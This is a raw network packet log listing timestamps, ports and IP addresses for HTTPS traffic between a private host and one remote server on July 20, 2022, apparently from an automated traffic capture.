Jul 20, 2022 06:06:50.237904072 CEST	50633	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.237917900 CEST	50633	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.238152981 CEST	443	50631	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.238193989 CEST	50631	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.238208055 CEST	443	50631	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.238239050 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.238256931 CEST	443	50661	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.238265038 CEST	50631	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.238270044 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.238415003 CEST	50632	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.238428116 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.238429070 CEST	50631	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.238437891 CEST	50661	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.238493919 CEST	50632	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.238676071 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.238771915 CEST	50632	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.239847898 CEST	443	50634	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.239917040 CEST	443	50634	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.239974022 CEST	50634	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.239983082 CEST	443	50634	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.240056992 CEST	50634	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.240670919 CEST	443	50661	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.240695000 CEST	443	50661	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.240813971 CEST	50661	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.240844011 CEST	443	50661	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.240874052 CEST	443	50633	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.240901947 CEST	443	50633	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.241004944 CEST	50633	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.241027117 CEST	443	50633	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.241049051 CEST	50633	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.241059065 CEST	50661	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.241075039 CEST	50633	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.241722107 CEST	443	50631	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.241750002 CEST	443	50631	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.241869926 CEST	50631	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.241887093 CEST	443	50631	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.241930008 CEST	50631	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.241961002 CEST	50631	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.242352009 CEST	443	50633	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.242428064 CEST	443	50634	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.242451906 CEST	443	50634	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.242475033 CEST	50633	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.242505074 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.242537975 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.242553949 CEST	50634	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.242563963 CEST	443	50634	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.242633104 CEST	443	50631	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.242646933 CEST	50632	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.242657900 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.242659092 CEST	443	50631	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.242677927 CEST	50634	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.242726088 CEST	50631	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.242736101 CEST	443	50631	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.242760897 CEST	50632	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.242784023 CEST	50631	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.242815018 CEST	50631	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.242858887 CEST	443	50661	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.242883921 CEST	443	50661	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.242979050 CEST	50661	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.243010998 CEST	443	50661	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.243031979 CEST	50661	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.243033886 CEST	443	50634	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.243122101 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.243124962 CEST	50634	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.243149996 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.243192911 CEST	50661	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.243206978 CEST	50632	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.243216038 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.243252993 CEST	50632	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.243284941 CEST	50632	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.243304014 CEST	443	50633	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.243304968 CEST	443	50631	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.243359089 CEST	443	50633	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.243386030 CEST	443	50661	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.243421078 CEST	50633	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.243434906 CEST	50631	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.243441105 CEST	443	50633	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.243526936 CEST	50631	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.243551016 CEST	50633	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.243563890 CEST	50661	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.243592978 CEST	50633	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.243782043 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.243880987 CEST	50632	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.244909048 CEST	443	50661	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.244934082 CEST	443	50661	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.245127916 CEST	50661	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.245158911 CEST	443	50661	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.245244980 CEST	50661	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.245465994 CEST	443	50634	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.245491028 CEST	443	50634	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.245593071 CEST	50634	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.245603085 CEST	443	50634	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.245657921 CEST	50634	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.246467113 CEST	443	50631	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.246495008 CEST	443	50631	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.246603966 CEST	50631	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.246620893 CEST	443	50631	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.246680975 CEST	50631	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.247356892 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.247390985 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.247476101 CEST	50632	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.247488022 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.247499943 CEST	443	50633	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.247518063 CEST	50632	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.247539997 CEST	443	50633	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.247558117 CEST	50632	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.247595072 CEST	50633	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.247680902 CEST	50633	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.247701883 CEST	443	50633	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.247984886 CEST	443	50631	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.248011112 CEST	443	50631	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.248125076 CEST	50631	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.248138905 CEST	443	50631	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.248178005 CEST	50633	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.248184919 CEST	50631	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.248231888 CEST	443	50661	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.248254061 CEST	443	50661	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.248328924 CEST	50661	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.248364925 CEST	443	50661	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.248389959 CEST	50661	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.248543978 CEST	443	50661	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.248667002 CEST	50661	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.248687983 CEST	443	50661	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.248745918 CEST	50661	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.248783112 CEST	443	50633	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.248876095 CEST	50633	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.248904943 CEST	443	50634	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.248935938 CEST	443	50634	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.248977900 CEST	50634	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.248989105 CEST	443	50634	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.249011040 CEST	50634	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.249036074 CEST	50634	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.249241114 CEST	443	50631	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.249320984 CEST	50631	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.249767065 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.249803066 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.249865055 CEST	50632	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.249876022 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.249921083 CEST	50632	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.249938965 CEST	50632	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.250555038 CEST	443	50634	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.251029968 CEST	443	50631	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.251055956 CEST	443	50631	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.251082897 CEST	50634	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.251106977 CEST	50631	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.251116037 CEST	443	50631	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.251149893 CEST	50631	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.251169920 CEST	50631	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.251188993 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.251277924 CEST	50632	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.251307964 CEST	443	50661	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.251332998 CEST	443	50661	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.251384020 CEST	50661	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.251406908 CEST	443	50661	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.251422882 CEST	50661	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.251482964 CEST	50661	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.251799107 CEST	443	50633	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.251811028 CEST	443	50633	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.251974106 CEST	50633	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.251986027 CEST	50633	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.251995087 CEST	443	50633	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.252051115 CEST	50633	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.252506018 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.252538919 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.252604961 CEST	50632	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.252615929 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.252661943 CEST	50632	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.253010035 CEST	443	50661	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.253034115 CEST	443	50661	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.253109932 CEST	50661	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.253129005 CEST	443	50661	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.253144026 CEST	50661	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.253181934 CEST	50661	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.254736900 CEST	443	50634	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.254793882 CEST	443	50634	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.254839897 CEST	50634	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.254847050 CEST	443	50634	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.254894972 CEST	50634	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.254905939 CEST	50634	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.256211042 CEST	443	50631	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.256268024 CEST	443	50631	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.256308079 CEST	50631	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.256314039 CEST	443	50661	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.256330967 CEST	443	50631	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.256362915 CEST	50631	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.256406069 CEST	50661	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.257607937 CEST	50631	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.257730007 CEST	443	50633	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.257756948 CEST	443	50633	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.257823944 CEST	50633	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.257842064 CEST	443	50633	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.257882118 CEST	50633	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.257888079 CEST	50633	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.258112907 CEST	443	50631	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.258186102 CEST	50631	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.259105921 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.259140968 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.259213924 CEST	50632	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.259227037 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.259258032 CEST	50632	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.259275913 CEST	50632	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.260020971 CEST	443	50634	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.260086060 CEST	443	50634	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.260127068 CEST	50634	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.260135889 CEST	443	50634	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.260173082 CEST	50634	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.260199070 CEST	50634	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.260210037 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.260293961 CEST	50632	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.260687113 CEST	443	50633	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.260787964 CEST	50633	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.261437893 CEST	443	50661	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.261464119 CEST	443	50661	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.261554956 CEST	50661	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.261578083 CEST	443	50661	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.261595011 CEST	50661	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.261639118 CEST	50661	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.262119055 CEST	443	50631	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.262145996 CEST	443	50631	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.262229919 CEST	50631	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.262270927 CEST	443	50631	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.262291908 CEST	50631	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.262418985 CEST	50631	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.263144016 CEST	443	50634	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.263303995 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.263310909 CEST	50634	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.263360977 CEST	50632	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.263375044 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.263377905 CEST	50632	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.263410091 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.263432026 CEST	50632	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.263451099 CEST	50632	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.263878107 CEST	443	50633	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.263923883 CEST	443	50633	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.263976097 CEST	50633	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.264003038 CEST	443	50633	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.264035940 CEST	50633	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.264050961 CEST	50633	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.264569044 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.264631987 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.264765978 CEST	50632	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.264777899 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.264785051 CEST	443	50634	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.264823914 CEST	50632	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.264847040 CEST	443	50634	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.264883995 CEST	50634	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.264904976 CEST	443	50634	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.264921904 CEST	50634	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.265793085 CEST	50634	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.266828060 CEST	443	50631	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.266859055 CEST	443	50631	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.266932011 CEST	50631	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.266954899 CEST	443	50631	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.266972065 CEST	50631	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.267342091 CEST	50631	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.268354893 CEST	443	50661	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.268383980 CEST	443	50661	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.268505096 CEST	50661	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.268533945 CEST	443	50661	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.268549919 CEST	443	50631	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.268564939 CEST	50661	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.268572092 CEST	443	50661	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.268661022 CEST	50631	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.268676996 CEST	50661	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.268697023 CEST	443	50661	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.268789053 CEST	50661	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.268987894 CEST	443	50631	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.268999100 CEST	443	50661	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.269012928 CEST	443	50631	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.269016981 CEST	443	50661	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.269113064 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.269272089 CEST	50632	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.269284964 CEST	50661	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.269304991 CEST	50631	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.269305944 CEST	443	50661	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.269325972 CEST	443	50631	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.269354105 CEST	50661	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.269366026 CEST	50661	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.269421101 CEST	443	50661	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.269463062 CEST	443	50661	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.269503117 CEST	50661	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.269524097 CEST	50631	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.269527912 CEST	443	50661	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.269546032 CEST	50661	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.269613981 CEST	50661	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.269951105 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.270010948 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.270028114 CEST	50632	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.270037889 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.270076990 CEST	50632	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.270102024 CEST	443	50633	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.270196915 CEST	50633	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.270204067 CEST	443	50633	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.270242929 CEST	443	50633	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.270278931 CEST	50633	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.270323038 CEST	50633	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.270456076 CEST	443	50661	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.270539999 CEST	50661	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.271219015 CEST	443	50631	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.271246910 CEST	443	50631	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.271281004 CEST	443	50633	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.271301985 CEST	50631	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.271315098 CEST	443	50631	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.271328926 CEST	50631	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.271372080 CEST	50631	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.271383047 CEST	50633	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.271455050 CEST	443	50631	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.271548986 CEST	50631	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.271863937 CEST	443	50661	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.271887064 CEST	443	50661	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.271955967 CEST	50661	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.271977901 CEST	443	50661	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.272032022 CEST	50661	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.272407055 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.272468090 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.272490025 CEST	50632	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.272533894 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.272564888 CEST	50632	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.272582054 CEST	50632	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.273328066 CEST	443	50633	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.273387909 CEST	443	50633	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.273422956 CEST	50633	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.273437977 CEST	443	50633	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.273452997 CEST	50633	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.273549080 CEST	443	50634	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.273581028 CEST	443	50634	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.273638010 CEST	50634	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.273649931 CEST	443	50634	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.273672104 CEST	50634	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.273699045 CEST	50634	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.273706913 CEST	50633	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.273741007 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.273763895 CEST	443	50631	80.67.82.211	192.168.2.6
